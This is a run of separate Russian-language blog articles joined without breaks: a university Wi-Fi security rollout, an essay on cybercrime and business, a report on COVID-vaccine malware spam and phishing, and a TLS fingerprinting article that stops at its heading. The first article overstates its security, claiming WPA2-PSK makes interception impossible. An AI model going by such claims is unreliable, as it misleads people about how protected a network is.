• Профессия Data Scientist

• Профессия Data Analyst

• Курс по Data Engineering

От автора

В данной статье рассмотрены проектирование, тестирование, разработка и внедрение кибер-безопасной информационно-технической системы высшего учебного заведения на примере моего личного, в итоге успешного опыта внедрения в Университет таможенного дела и финансов в 2019 году. Результаты могут быть применены на любом этапе создания кибер-безопасных информационно-технических систем, в том числе высшие учебные заведения, корпоративные/домашние сети и прочее.

Отвечу на все интересующие Вас вопросы в комментариях, или личных сообщениях. Я открыт к дополнениям, оптимизации, а также критике со стороны профессионалов. Приятного ознакомления!

Введение

Развитие новых видов связи, быстрое совершенствование информационно-телекоммуникационных технологий и методов обработки данных радикально меняет облик современного образования. Во всём Мире эти тенденции, наиболее четко прослеживаются на примере дистанционного обучения (ДО) в период карантина, связанного с Коронавирусом.

Еще совсем недавно Высшие учебные заведения стран при организации ДО и совместного использования необходимого дистанционной связи были лишены возможности применения традиционных технологий и сетей радиорелейных линий с ретрансляторами (единственного на то время надёжного способа передачи информации), расположенными вне населенных пунктов из-за очевидной сложности технического и экономического характера. Одним словом, из-за дороговизны технической реализации ДО.

Однако, в настоящее время, прогресс в области развития цифровых методов, компьютерных и телекоммуникационных систем и сетей позволяет серьёзным образом изменить вид действующих и будущих образовательных технологий образования в целом. По моему мнению, развитие системы современного образования в стране непосредственно связан с наличием на местах скоростных каналов связи, позволяющих обеспечивать не только локальное, но и отдаленное обучение с учетом необходимых консультаций и непосредственно необходимых для обучения демонстраций, например, через Zoom , Skype, Discord конференции, реализуя доступ к современным базам данных и используя при необходимости методы распределенной обработки данных типа ODP (Open Distributed Processing, ITU - T Rec. X.901 / ISO / IEC 10746 - 1, ITU - T Rec. X. 902 / ISO / IEC 10746 - 2 ITU - T Rec. X.904 / ISO 10746 - 4 и некоторые другие).

Более того, идея унификации беспроводной связи для всех видов сервиса привела к появлению стандартов для мобильных сетей сначала третьего поколения (3G), а в дальнейшем 4G и 5G. Так, основной целью стандартов 3G было объединение телефонной и цифровой связи в глобальных сетях мобильной связи. Основными стандартами были UMTS (W-CDMA) и CDMA-2000. Основное отличие сетей четвертого поколения от предыдущего заключается в том, что технология 4G полностью основана на протоколах пакетной передачи данных. В плане развития концепции 4G и как дальнейшее развитие серии стандартов 802.11, реализуется стандарт 802.16 (Wireless Man), который находит не только промышленное, но и коммерческое применение. Обладая большим количеством неоспоримых преимуществ, он, как и многие другие подобные решения, может находить применение только находясь относительно близко от магистральных сетей, а и реализуется путем создания сетей, имеющих локальное покрытие. При этом, необходимо отметить, что переход в более коротковолновые диапазоны, связанные с относительно большим влиянием атмосферных условий на распространение радиоволн, исследованным до настоящего времени достаточно хорошо. Однако, для известных флуктуаций атмосферных и погодных параметров соответствующие изменения параметров прохождения сигнала хотя и могут быть легко прогнозируемые, но, как показывает практика, они (наземные устройства связи) все равно оказываются, более уязвимыми по отношению к закрытым (локальных сетей внутреннего пользования) к воздействию различных природных катаклизмов, и это необходимо принимать во внимание. Аналогичная тенденция прослеживается и при реализации возможностей и работы по выделенным каналам Интернет, хотя, для обоих случаев обеспечивается защищенность канала передачи данных. При этом, как правило, проявляется растущая тенденция, связанная с дефицитом пропускной способности образовательных трафиков национального спутникового ресурса, что в конечном итоге приводит и к его удорожанию.

Итак, чётко прослеживается принципиальная необходимость решения проблемы ДО конкретного вуза посредством использования внутренних информационных ресурсов в виде электронных учебников, конспектов лекций, виртуальных лабораторных работ и других методических разработок в виде единого банка хранения всей информации при использовании своей локальной технической системы обработки и доставки информации. Последний, (в отсутствии необходимости ведения бумажного архива), должен быть защищенным и доступным в любой момент времени, как для студентов, так и для специалистов ВУЗа, способствуя повышению их профессионального уровня. При этом очевидно, что любое ДО не может обходиться без технических средств его обеспечения.

Таким образом, передо мной была поставлена задача разработки кибер-безопасной информационно-технической системы (ИТС) для главного корпуса Университета таможенного дела и финансов с целью дальнейшего её использования в качестве ДО. Причем, при реализации поставленной задачи, нужно было ознакомиться с особенностями ДО и с современным состоянием и построением защитных информационно-технических систем.

Техническая реализация

Этот раздел тесно связан с актуальностью проблематики обеспечения безопасности использования глобальной сети интернет, что очевидна для большинства пользователей и требует на каждом этапе приема-передачи и обработки сопутствующих потоков не только априорной оценки угроз и рисков, а также разработки и реализации надёжных систем защиты с целью уменьшения отрицательного влияния на достоверность и целостность информации.

В этом аспекте, прежде всего, весомый вклад вносят точки входа (доступа), обеспечивая способы подключения к сети интернет. Так, при подключении к таким точкам, человек начинает передавать данные.

Эти данные очень легко перехватить, изменить и передать совершенно другую информацию, либо же злоумышленник может получить конфиденциальное сообщение, контактную и личную информацию, которые передаёт пользователь сети.

Итак, нужно понимать, что при подключен ни к глобальной сети - открывается двухканальная связь с помощью которой можно, как отправлять данные, так их и получать. Это говорит нам о том, что каждый пользователь может подключиться к любому ресурсу, а злоумышленник может подключиться к нему, что приводит к нежелательным последствиям.

Поэтому такие точки доступа к сети интернет не могут быть полностью безопасны. Злоумышленники могут перехватывать данные, подменять их и получать доступ к вашему цифровому устройству, что ведёт к риску так называемой компрометации данных и информации. Нам же нужно максимально минимизировать все риски.

Особенности реализации информационно-технической системы в Университете таможенного дела и финансов

Все, даже безупречные современные устройства, требуют решения по оптимизации его использования, прежде всего, при так называемой привязке к непосредственному объекту внедрения ИТС. А так как мы используем Мировую(Глобальную) цифровую информацию обеспечения в ВУЗе, то нас интересует как быстро эту информацию можно найти и как в целостном режиме передать непосредственно пользователю используя локальную систему связи университета. Привязка нашей системы имеет свои особенности связаны с расположением учебных корпусов вуза. В нашем случае можно было ожидать , что используется как эфирная среда распространения электромагнитных волн для передачи/приёма сообщений (Wi-Fi), так и кабельная система (витая пара, 4 пары, RG - 45, изображена на рис 1.1 ниже) и оптическая линия по стандарту GPON.

Необходимо было предусмотреть перекрытия так называемых теневых зон средств приёма/передачи сигналов используя стандартные системы Wi-Fi обеспечения. В связи с этим, мы должны использовать такие тактические данные устройств, что смогут обеспечить непрерывную зону покрытия главного корпуса в УТДФ, который представляет собой П - образное здание . (Рис. 1.2 - 1.3, фото со спутника, и схематическое отображение Google Maps ниже).

В связи с этой особенностью мы ожидаем, что нам придётся использовать различные системы связи и устройства. Для того , чтобы не ошибиться, нам нужно было провести апробацию этой системы и устройств на уровне одной кафедры, используя лабораторное макетирование (стенд) .

На данный момент один из самых распространенных способов подключения к сети интернет реализуют с помощью технологии Wireless Fidelity (Wi-Fi), которая имеет удобный и быстрый способ соединения, используя беспроводной радио-частотный канал.

Апробация информационно-технической системы

Для тестирования системы на кафедре кибербезопасности УТДФ все компоненты сети были соединены, и сформировали стенд для апробации (схема подключения изображена на рис 1.4 ниже).

Особое внимание было уделено привязке точек доступа, реализованные с помощью оборудования Ubiquiti UniFi. Внешний вид точек доступа приведены ниже на рис. 1.5 1.6.

Эти точки доступа передают сигнал также с помощью радио - частотного канала той же сверхвысокой частоты и в них реализована технология бесшовного покрытия. Эта технология позволяет не подключаться постоянно вручную к каждой новой точке доступа, а, наоборот, оптимизировать режим связи в автоматическом режиме. Так, если Вы выходите из зоны покрытия сигнала первой точки, то в автоматическом режиме Вы подключаетесь к следующей ближайшей точки сети с минимальной задержкой (рис. 1.7 - 1.8)

Для нормального функционирования и оптимизации работы точек доступа были проведены контрольные замеры мощности сигнала точек доступа, с целью выявления "мёртвых зон" и дальнейшего выбора оптимального расположения точек доступа для обеспечения "бесшовной сети" на всех четырёх этажах учебного корпуса.

Для решения этой задачи мы использовали закрытое серверное помещение межкафедральной информационно-технической лаборатории, надёжное хранилище от посторонних людей, куда мы перенесли все устройства и начали отрабатывать возможность подключения абонентов и трансляции Интернет трафика. Для стендирования были использованы устройства Ubiquiti Uni-Fi AP так как передача происходила на относительно коротких дистанциях (до 15 метров). В качестве Интернет-трафика использовалась ветвь УТДФ, к которой был подключен главный сервер лаборатории и маршрутизировали трафик с помощью витой пары и RG - 45. Для подключения экосистемы Ubiquiti мы использовали фирменное компактное серверное решение Ubiquiti Cloud, с помощью которого смогли настроить маршрутизацию трафика, его мониторинг (не нарушая конфиденциальность абонентов), обслуживания и создания резервных копий системы (Backup). После настройки и подключения мы воспользовались программным обеспечением, которое показывает уровень сигнала каждой точки доступа, и настроили режим ретрансляции, то есть фактически создали такое бесшовное покрытие, что могло усиливать и ретранслировать сигнал на вcе дополнительное крыло главного корпуса УТДФ.

Так, на базе кафедры кибербезопасности и информационных технологий в кабинете межкафедральной учебной лаборатории УТДФ был создан прототип системы , включающий в себя две точки доступа, который отлично работал в тестовом режиме всю рабочую неделю, обслуживая коллектив и студентов кафедры кибербезопасности и информационных технологий, кафедра компьютерных наук, межкафедральную информационно-техническую учебную лабораторию, и другие аудитории в радиусе действия.

То есть, после тестирования стендовой системы мы получили положительный результат, система показала свою работоспособность и зарекомендовала себя как систему, которую можно масштабировать на весь главный корпус УТДФ . Однако, для этого нужно разработать способ распространения стабильного покрытия на весь П - образный корпус.

Масштабирование, защита и внедрение информационно-технической системы

Благодаря успешному тестированию точек доступа нам удалось рассчитать примерную дальность Wi-Fi покрытия с учётом бетонированных стен здания - от 10 до 15 метров в зависимости от количества стен. Однако, корпус не является симметричным, то есть, расположив точки доступа слишком близко мы создадим искусственные электромагнитные наводки на систему, которые имеют диструктивное влияние на информационно-техническую систему вобщем. Для решения этой задачи мы взяли второй тип точек доступа Ubiquiti Unifi Long Range (с англ. Дальней дальности) , тем самым минимизировали скопления большого количества точек доступа благодаря установленным одной точки далекой дальности для длинных коридоров, и отдельную для актового зала так как это помещение является крупнейшим в здании. Имея эти данные мы сделали набросок схемы покрытия здания УМСФ и смогли рассчитать условное месторасположение каждой "точки доступа". Ниже, на рис. 1.9 зелёным выделены точки LR, синим - AP на каждом из 4 этажей корпуса (набросок рисовали в Paint, перфекционисты - извините :)

Кафедральная, а затем и университетская Wi-Fi система способна работать в СВЧ диапазоне (именно на частотах 2,4ГГц и 5ГГц), поддерживая 802.11 a / b / g / n Стандарты Wi-Fi. При этом следует отметить широкий выбор возможных скоростей обмена сообщениями (от 6,5 до 450 Мбит / с на частоте 2,4 ГГц и от 6,5 до 300 Мбит / с на частоте 5ГГц, используя соответственно стандарты 802.11n MSC0 - MSC23 и MSC0 - MSC15).

В нашей системе беспроводное сетевое соединение реализовано с помощью технологи Power over Ethernet (PoE). Технология PoE реализует в себе использование одного кабеля витой пары для передачи данных, а также питания периферийных устройств. Для передачи напряжения чаще всего используют неиспользованные (свободные) для передачи данных пары проводов, в нашем случае это синяя и коричневая (рис. 1.10).

В нашем случае было внедрено использование пар для передачи питания и пара для данных, то есть стандарты PoE, которые обеспечивают сигнализацию между оборудованием источника питания (power sourcing equipment) и устройством питания. Для корректной работы требуется PoE адаптер, фото которого ниже на рис 1.11.

Защита информационно-технической системы

Для эффективного регулирования кибер-отношений мы должны изучать не то состояние, которое сейчас существует, а прогнозировать и моделировать те кибер-отношения элементов структуры, которые возможны будут в будущем, и формировать механизм управления рисков, исходя из будущего состояния системы.

Для защиты устройств от студентов, или потенциальных злоумышленников были проведены комплексные меры безопасности оборудования. А именно: расположение точек доступа выше 2,5 метров (на стенах, или потолке), скрытия линий питания и передачи данных в кабель-каналах (кабельтонах) на той же высоте, создание контролируемых (открытых) и неконтролируемых (закрытых) линий коммутации данных и питания на каждом этаже в закрытых серверных комнатах с ограниченной формой допуска (коробки коммутации).

Особенностью реализованной системы есть то, что она комбинирует в себе как безопасную беспроводную связь с помощью радио-частотного канала, а также является их защищенность посредством использования непрерывного контроля со стороны сервера на основе системы Ubiquiti CloudKey. Внешний вид сервера и типичная схема подключения изображена на рис 1.12.

С помощью этого сервера обеспечивается постоянный контроль и мониторинг входных и выходных данных. В частности формируется отчетная статистика, благодаря её помощи реализована система блокировки подозрительного трафика сети. Применяется шифрование и Secure Sockets Layer (SSL) сертификация. Это обеспечивает конфиденциальность обмена данными между клиентом и сервером с помощью Transmission Control Protocol / Internet Protocol (TCP / IP).

Защита сервера управления системой надёжно зашифрована с помощью биометрической защиты панели администрирования (сканирование отпечатка пальцев, сканирование лица, рис. 1.13).

Защита беспроводной сети Wi-Fi реализована с помощью метода шифрования WPA2-PSK с использованием пароля более 10 символов, который на сегодня является наиболее криптостойким алгоритмом аутентификации устройств.

Благодаря данным мерам каждый студент и любой преподаватель учебного заведения могут подключиться к сети интернет, а главное, это подключение защищено и безопасно, а также не имеет в себе угроз и рисков перехвата, то есть злоумышленники не получают доступ к передаваемой информации.

Итоги

На базе современного развития цифровых методов, компьютерных и телекоммуникационных систем, а также сетей, была поставлена цель и реализованы задачи технического оснащения дистанционного обучения, позволяющие обеспечивать не только локальное, но дистанционное обучение студентов с учётом необходимых консультаций и демонстраций через, например , Zoom, Skype, Discord конференции, что является актуальным в период карантина, связанного с коронавирусом. В ходе этих задач были рассмотрены и получены следующие результаты:

- проведён анализ информационно-технических систем высших учебных заведений, по результатам которого дальше использовали современные мировые информационно-технические сервисы такие как Google Classroom, Zoom конференции, Skype, Google Hangouts, Prometheus, SuperMemo, Stepik, Coursera, SoloLearn, Brain Code. Проведено сравнение преимуществ и недостатков (плюсы и минусы) современного состояния этих методов ДО;

- формализованы требования к защите информации в информационно-технических системах и выбора методик защищенность и конфиденциальности информации, то есть информационно-технические системы высших учебных заведений должны отвечать современным требованиям помехозащищенности и безопасности функционирования с учетом надежного обеспечения конфиденциальности, доступности и целостности учебной, научной и административной информации . В связи с чем предложенный метод криптографической сокрытие информации и защиты источников питания от несанкционированного доступа;

- в будущем озвученные ИТС и их структуру можно масштабировать на спутниковый уровень (ретрансляционный) для покрытия больших территорий.

Особая благодарность в.о. зав.кафедры кибербезопасности УТДФ Прокопович-Ткаченко Дмитрию Игоревичу за предоставленные возможности для создания ИТС, доценту кафедры кибербезопасности Тарасенко Юрию Станиславовичу за помощь с оформлением и расчётами, а также студентам Олейнику Александру, Рудакову Михаилу и Луценко Владимиру за оказанную помощь в прокладке линий коммуникации!

Спасибо за внимание!

Привет, Хабр!

На связи снова Максим Горшков, специалист по информационной безопасности корпоративного облачного провайдера Cloud4Y. Хочу поднять вопрос о деятельности, результаты которой обычно незаметны, но крайне важны для бизнеса. Я имею в виду кибербезопасность. Будучи следователем по расследованию киберпреступлений в недавнем прошлом, я изрядно насмотрелся на компании, которые пострадали из-за недостаточно серьёзного отношения к информационной безопасности.

Начну с того, что заниматься частным бизнесом в России непросто. Перед руководителем компании всё время стоит задача оптимизации расходов. Это нормальная практика, если не возводить принцип оптимизации расходов в абсолют. В противном случае оптимизация, столь любимая многими эффективными менеджерами, может сыграть злую шутку с компанией.

Уверен, что вы можете назвать не один десяток компаний, в которых существует огромная пропасть между зарплатой менеджера и топ- менеджера. Или где по модным тенденциям численность маркетологов превышает численность технических специалистов.

Для российского руководителя мотивы подобного поведения очевидны. Зачем менеджеру платить больше, если и так устраиваются на работу? Зачем нужны сотрудники, которые не приносят деньги? Если условный технический отдел и так что-то делает и вроде как всё работает.

Возможно, подобное наблюдается и в вашей компании. Всё это привычно, давно работает и вроде как всех устраивает. Но что, если я скажу, что компании с подобными принципами устройства бизнеса в обозримом будущем могут исчезнуть? Нет, это не сгущение красок. Это скорее предупреждение.

Зарождение

Приведу реальные примеры. Киберпреступность в правоприменительной практике стала звучать где-то с 2014 года. До этого крайне редкие хакерские дела были единичными и часто раскручивались для того, чтобы показать активную работу правоохранителей на этом поле.

Мошенничества с использованием социальной инженерии вообще не воспринимались всерьёз, а уголовные дела по подобным преступлениям возбуждались далеко не всегда. Люди писали заявления, но дальше материалов проверок дело не могло продвинуться. А число преступлений начало расти.

В итоге правоохранительная система была вынуждена пересмотреть своё отношение к преступлениям в интернете. Дела стали заводить активнее. Я помню случаи, когда в день возбуждалось более 100 уголовных дел, связанных с интернет-преступлениями.

Наверное, вы сейчас спросите: а каким боком тут бизнес стоит? А дело в том, что преступники быстро перепрофилировались, перейдя с атак на бабушек на атаку бизнеса. На моей памяти было около 50 компаний, чьи бухгалтеры переводили внушительные суммы преступникам, получив личное распоряжение директора. Продавцы торговых точек снимали кассу и переводили деньги мошенникам. А от настоящих кибератак некоторым компаниям и вовсе пришлось закрыться.

Причём векторы атак были разные. Далеко не всегда эксплуатировались уязвимости типа EternalBlue, (CVE-2017-0144 с помощью которой широко распространялись шифровальщики WannaCry, Petiya), хотя и они тоже были. Встречался и банальный подброс запоминающих устройств со зловредной программой, получающей удаленный доступ к ПК, например, главного бухгалтера или директора.

Я буду честен, правоохранительная система оптимизирована настолько, что не может достаточно эффективно бороться с киберпреступностью. Так что можно сказать, что киберпреступления угрожают не только бизнесу, но и государству в целом.

Что изменится в скором будущем? Киберпреступность эволюционирует и вырывается вперёд в борьбе с правоохранительной системой. Из-за такого дисбаланса заниматься взломом порой выгоднее, чем развивать свой бизнес. Просто представьте, что среднестатистический социальный инженер, а попросту телефонный мошенник, за рабочий день способен получить около 100 тыс. рублей, а в региональных компаниях системный администратор с функциями информационного безопасника в месяц не зарабатывает и 50 тыс. рублей.

И я ещё не говорю про доходы профессиональных киберпреступников, которые умеют писать эксплойты. Вы уверены, что новый эксплойт не будет использован на вашей компании до того, как он попадет в базу данных антивирусных программ? Какая-то не очень весёлая перспектива оказаться испытательным полигоном для нового зловреда.

Пережимать гайки тоже не стоит

Стоить отметить, что существует и другая крайность в бизнесе, касающаяся в основном корпоративного бизнеса. Назовём её иллюзорный барьер.

В корпорациях, руководимых отдельными эффективными менеджерами, создают рабочие условия, похожие на армейские. И в большинстве случаев эти жёсткие внутренние распорядки лишь увеличивают коэффициент стресса сотрудников компаний. И не приносят пользы. Почему такой вывод и чем он подкреплен? А вы попробуйте загуглить базы данных клиентов банков, причём не только в открытой части интернета. И в вопросе защиты персональных данных клиентов тех или иных крупнейших компаний многое станет понятным.

Почему так происходит? Потому что в модели директивного управления топ-менеджеров часто не рассматривается вопрос о том, что расходы на безопасность недостаточны или уходят не в том направлении. Условно говоря, собирается совещание, где обсуждаются расходы компании. Коммерческий директор говорит, что ему нужно расширить штат продажников, директор по ИТ говорит, что нужно усилить безопасность. Генеральный директор задает им один вопрос: что получит от этого компания? Первый говорит про деньги, второй про абстрактную безопасность. И решение при распределении средств становится очевидным. Очевидным до того самого времени Ч, когда ущерб от кибератаки превысит выгоду от работы целого отдела маркетологов на несколько лет вперед.

Скажете, опять нагнетаю? В недалеком прошлом с помощью вредоносной программы, внедрённой на сервера атомной электростанции, злоумышленники смогли навредить ядерной программе Ирана. А это, на минуточку, ключевой стратегический объект целой страны. Прошло уже больше 10 лет с того момента. Сейчас злоумышленники действуют ещё хитрее, придумывают новые способы заработка.

Приведу совсем недавний случай, о котором рассказали бывшие коллеги по следственной работе. В России активно внедряются цифровые подписи. Планируется, что уже скоро каждый будет иметь возможность подписать что-либо прямо с домашнего компьютера. Пока это всё на стадии внедрения, злоумышленники уже разработали преступную схему.

Да, государство более-менее защищено, но часть функций: по аттестации, регистрации цифровых подписей, передало частным компаниям, получившим лицензию на подобный род деятельности. И членами одной преступной группы стали сотрудники такой вот частной компании, имеющей право выпускать цифровые подписи.

Что было дальше? Получив возможность регистрации цифровых подписей граждан, злоумышленники находили недавно умерших одиноких пенсионеров и оформляли сделку купли-продажи квартиры задним числом. Сделка благополучно регистрировалась в Россреестре и квартира уходила злоумышленникам. Схема существовала достаточно долгое время, а была раскрыта тогда, когда у умерших обнаружились наследники, добившиеся возбуждения дела по странной сделке. Это и есть пример бытового киберпреступления, актуального в настоящее время.

Что будет дальше

Нужно понимать, что, для реализации такого сценария требуется участие квалифицированных специалистов. Киберпреступность по уровню квалификации порой опытнее даже профильных отделов ИБ компаний. В капиталистическом мире опыт и профессионализм там, где есть деньги. Так что пока компании будут экономить на специалистах, они будут жить как на пороховой бомбе. Эпоха хакеров-энтузиастов заканчивается, наступает эпоха масштабного преступного бизнеса, который прекрасно понимает, что вложенные условно 50 млн. рублей в поиск zero-day уязвимостей и разработку эксплойтов под них могут принести миллиарды, разрушив целые сектора бизнеса на корню.

А ваш бизнес готов к кибератакам таких вот сообществ, в которых работает целый штат финансово замотивированных программистов, пентестеров, всевозможных аналитиков? Государство неспроста усиленно готовится к беспрецедентной возможной кибервойне. Но и вам рекомендую озаботиться тем же вопросом.

Спасибо за внимание.

Что ещё интересного есть в блогеCloud4Y

Частые ошибки в настройках Nginx, из-за которых веб-сервер становится уязвимым

Пароль как крестраж: ещё один способ защитить свои учётные данные

Тим Бернерс-Ли предлагает хранить персональные данные в подах

Подготовка шаблона vApp тестовой среды VMware vCenter + ESXi

Создание группы доступности AlwaysON на основе кластера Failover

Подписывайтесь на нашTelegram-канал, чтобы не пропустить очередную статью. Пишем не чаще двух раз в неделю и только по делу.

Пандемия COVID-19 перевела в онлайн миллионы людей. Необходимость уменьшить физический контакт привела к тому, что большая часть жизни перешла в интернет, увеличив зависимость человечества от онлайн-платформ. На росте доверия к интернет-платформам расцвели массовые мошеннические кампании. Одним из наиболее популярных инфоповодов для этих кампаний стали вакцины. Вэтом посте расскажем о вредоносных программах, спаме, фишинговых схемах и сайтах, связанных с вакцинами от COVID-19.

Спам-кампании

Мы зафиксировали спам-кампании, использующие тему вакцин от ковида, уже в первом квартале 2020 года, даже до начала всемирного локдауна. Первыми подсуетились операторы вредоносов Emotet, Fareit, Agent Tesla и Remcos.

Emotet

Спам-кампания по распространению этого вредоноса началась сразу после Нового года и была направлена против предприятий здравоохранения, обрабатывающей промышленности, банков и транспортной отрасли в США, Италии и Канаде. Для распространения трояна использовались более 80 различных вариантов вредоносных документов, вложенных в письма. Их имена содержали слово COVID как основной фактор для привлечения внимания:

• Daily COVID reporting.doc

• DAILY COVID-19 Information.doc

• NQ29526013I_COVID-19_SARS-CoV-2.doc

• GJ-5679 Medical report Covid-19.doc

Вот некоторые темы писем, которые получали потенциальные жертвы:

• COVID-19 Vaccine Survey;

• RE: RE: COVID-19 Vaccine Clinic with Walgreens To Do Now;

• Re: #TuOficinaSegura. Pfizer anuncia Vacuna contra el Covid . Novedades Oficinas YA! 10 de Noviembre de 2020.

Для проведения этой кампании использовались более ста серверов управления, расположенных в 33 странах. После того как эксперты по кибербезопасности провели операцию по перехвату управления этими серверами, кампания благополучно стихла.

Fareit

Этот вредонос крадёт личную информацию и учётные данные, сохранённые в браузерах, клиентах электронной почты и FTP. Для его распространения также была организована спам-кампания, в которой использовались темы, связанные с вакцинами от ковида:

• Corona-virus(COVID-19),Common vaccine;

• Corona-Virus Disease (COVID-19) Pandemic Vaccine Released;

• Latest vaccine release for Corona-virus(COVID-19).

Имена вложений к письмам также содержали упоминания вакцины от COVID:

• Corona-virus vaccine.arj

• COVID-19 VACCINE SAMPLES.arj

• COVID-19 Vaccine.arj

• vaccine release for Corona-virus(COVID-19)_pdf.rar

В качестве адресов отправителей злоумышленники использовали представителей ВОЗ и имена врачей. Больше всего от Fareit пострадали Германия, США, Италия, Китай, Испания и Израиль.

Остальные

Тему вакцин от коронавируса активно эксплуатировали и операторы других вредоносов, например, Lokibot, Agent Tesla, Formbook, Remcos, Nanocore.

В ноябре 2020 года операторы вымогателя Zebocry рассылали вредонос, выдавая себя за фармацевтическую компанию Sinopharm, которая производит вакцины COVID-19. Для распространения кода злоумышленники использовали файл виртуального жёсткого диска (VHD), содержащий два файла: PDF с презентацией Sinopharm и документ Microsoft Word с вредоносными макросами.

Фишинг

Дефицит вакцин в Европе и США привёл к тому, что люди, напуганные болезнью, стали искать способы быстрее получить спасительный укол. Спросом не замедлили воспользоваться мошенники. Одна из таких кампаний проводилась от имени Национальной службы здравоохранения Великобритании (NHS). Фишинговое письмо приглашало на вакцинацию и предлагало пользователю подтвердить согласие.

Независимо от того, нажал ли пользователь ссылку принять или отклонить приглашение, он попадал на целевую страницу с формой, в которую ему предлагалось ввести полное имя, дату рождения, адрес и номер мобильного телефона. Мы обнаружили эту кампанию в Великобритании, Германии, США и Нидерландах.

Другая кампания, ориентированная на граждан Мексики, маскировалась под настоящую медицинскую лабораторию Chopo. Фишинговый сайт был внешне идентичен настоящему.

Жертвам предлагалось указать имя, возраст, адрес, пол, номер мобильного телефона и адрес электронной почты. После регистрации они должны были получить цифровой сертификат Национальной карты вакцинации, после чего им предлагалось дождаться активации карт. Через этот же сайт пользователи якобы могли записаться на вакцинацию, для подтверждения записи требовалось заплатить 2700 мексиканских песо (около 130 долларов США). На странице даже присутствовали фальшивые контакты: адреса электронной почты, страница в Facebook и номер WhatsApp для консультаций.

Ещё одна фишинговая кампания, обнаруженная в сентябре 2020 года, была связана с оборудованием для безопасной и надёжной транспортировки вакцин: мошенники рассылали письма, замаскированные под коммерческое предложение; вложение представляло собой HTML-файл с фишинговой страницей.

Это далеко не полный перечень всех вариантов фишинговых кампаний на тему вакцин и вакцинации, с которыми мы столкнулись в течение пандемии. Фантазия мошенников практически не знает границ. Они предлагают приобрести справки о вакцинации, место в очереди на вакцинацию и сами вакцины для индивидуального применения. Стоимость фальшивых справок о вакцинации в США составляет 20долларовСША, а за мелкий опт в четыре фальшивки предусмотрена скидка они обойдутся всего в 60долларовСША.

Некоторые мошенники проводят SMS-разведку, выдавая себя за фармацевтическую фирму. В сообщении говорится о том, что получатель имеет право на вакцинацию, но для этого требуется зарегистрироваться по контактному номеру. Тем, кто звонил по номеру, сообщалось, что запись на вакцинацию платная и предлагалось заплатить небольшую сумму.

Мошенничество

В 2020 году DomainTools начал предоставлять бесплатный курируемый список потенциально вредоносных доменов, связанных с COVID-19. Используя этот список доменов и данные Trend Micro Smart Protection Network, мы составили список из 75000доменов, которые могут использоваться для распространения вредоносных программ, фишинга и мошенничества.

В 2021 году мы наблюдали рост числа вредоносных доменов с ключевым словом вакцина. По данным отчёта DomainTools, этот всплеск начался уже в ноябре 2020года. При этом с июня 2020года количество доменов со словом covid сокращается. В ходе нашего анализа было выявлено около 1000вредоносных доменов с ключевым словом вакцина. Например, в ноябре 2020 г. было зарегистрировано 100 доменов, имитирующих названия торговые марки различных вакцин от коронавируса:

• Gam-COVID-Vac

• BioNTechs BNT162 vaccine (COVID-19 mRNA vaccine)

• EPI - VAK - KORONA

• PiCoVacc

• Sputnik V

На такие домены устанавливают сайты-приманки, подобные, например, мошенническому сайту, замаскированному под сайт медицинского университета. На этом сайте посетителям предлагалось купить вакцины, оплатив их криптовалютой. Самое удивительное, что не было никаких гарантий подлинности вакцины или того, что покупатели в принципе получат что-то после оплаты.

Анонимность даркнета сделала его идеальным местом для киберпреступников, которые торговали нелегальными вакцинами. В недавнем отчёте упоминается о сайте, операторы которого утверждали, что разработали вакцину, которая не только готова к покупке, но и доступна для отправки по всему миру.

На другом подобном сайте покупатели вакцины предварительно должны были отправить по электронной почте свои личные данные и даже сведения об инфицировании коронавирусом и других болезнях. Оплата также принималась в биткоинах.

Новым трендом стало распространение афер с вакцинами через Facebook и Telegram. Один мошеннических Telegram-каналов имеет более 4тыс.подписчиков ипредлагает вакцины известных брендов.

Доверчивых покупателей канал перенаправлял на мошеннический ресурс, замаскированный под сайт службы доставки Delta Express.

Рекомендации

Следствием продолжающегося кризиса в области здравоохранения в Европе и США является то, что люди ищут способы купить вакцину. Однако активные граждане должны соблюдать осторожность, поскольку этой тенденцией пользуются мошенники. Что ещё более важно? поддельные вакцины могут нанести вред здоровья в том случае, если мошенники на самом деле доставят хоть что-то после получения оплаты.

И хотя в российских реалиях не наблюдается ни многомесячных очередей на вакцинацию, ни дефицита вакцин, люди также могут стать жертвами мошенников, попытавшись, например, купить проверенную вакцину Pfizer вместо российского Спутника-V.

Вакцинно-коронавирусное мошенничество приняло такой размах, что необходимо проявлять бдительность в отношении информации, циркулирующей в сети. Вот некоторые советы по выявлению дезинформации:

• получайте информацию о вакцинах из доверенных источников, в качестве которых могут выступать местные органы здравоохранения и медицинские учреждения;

• подумайте, прежде чем нажимать на ссылку с заманчивым предложением, избегайте пересылки связанных с COVID-19 писем или обмена сообщениями, не проверив их с помощью авторитетных поисковых систем и новостных сайтов, это позволит сдержать распространение мошенничества и ложной информации;

• выявляйте поддельные или вредоносные электронные письма и сайты признаками подделки могут быть опечатки, грамматические ошибки, неправильные названия и логотипы известных учреждений хотя этот способ работает не всегда, поскольку некоторые мошенники используют качественные копии легальных электронных писем, сайтов и платформ, используемых официальными организациями; лучше всего перепроверить информацию на официальных сайтах и в социальных сетях;

• посещайте тренинги по кибербезопасности: повышение осведомлённости об интернет-мошенничестве и других видах дезинформации может помочь в выявлении этих схем.

В качестве средства для обнаружения дезинформации, мошенничества и подобных онлайн-угроз можно воспользоваться бесплатной многоплатформенной утилитой Trend Micro Check она базируется на искусственном интеллекте и обеспечивает обнаружение ссылок на мошенничество, проверку безопасности электронной почты, текстовых, визуальных и аудиоданных на предмет выявления дезинформации, а также проверку достоверности новостей в новостных выпусках. С момента запуска она уже выявила более 2млнслучаев мошенничества и 3млнслучаев дезинформации.

В статье хотим рассказать про технологию TLS fingerprinting, про которую недостаточно материалов в русскоязычном сегменте. Попробуем это исправить. Статья частично переводит тематические материалы авторов описываемых методов (тут и тут), а также содержит описание практической реализации от Акрибии.

Не будем глубоко погружаться в детали работы SSL/TLS (далее будем говорить TLS), но кратко поясним детали.

Использование TLS само по себе благо, так как с его помощью шифруются данные. Но с обратной стороны создатели вредоносов используют его же, чтобы скрываться в шифрованном трафике (в данной статье как раз будет уклон в эту сторону) и затруднять их обнаружение и нейтрализацию.

Чтобы инициировать сеанс TLS, клиент отправляет пакет приветствия серверу после трёхстороннего установления связи TCP. Этот пакет и способ его создания зависят от пакетов и методов шифрования, используемых при создании клиентского приложения. Если сервер принимает соединение TLS, он ответит пакетом приветствия, тем самым продолжая согласование шифрования.

Поскольку согласование шифрования TLS передаётся в открытом виде, то можно отследить и идентифицировать клиентские приложения.

В этом и суть технологии TLS fingerprinting, если кратко. А теперь немного подробнее.

TLS fingerprinting

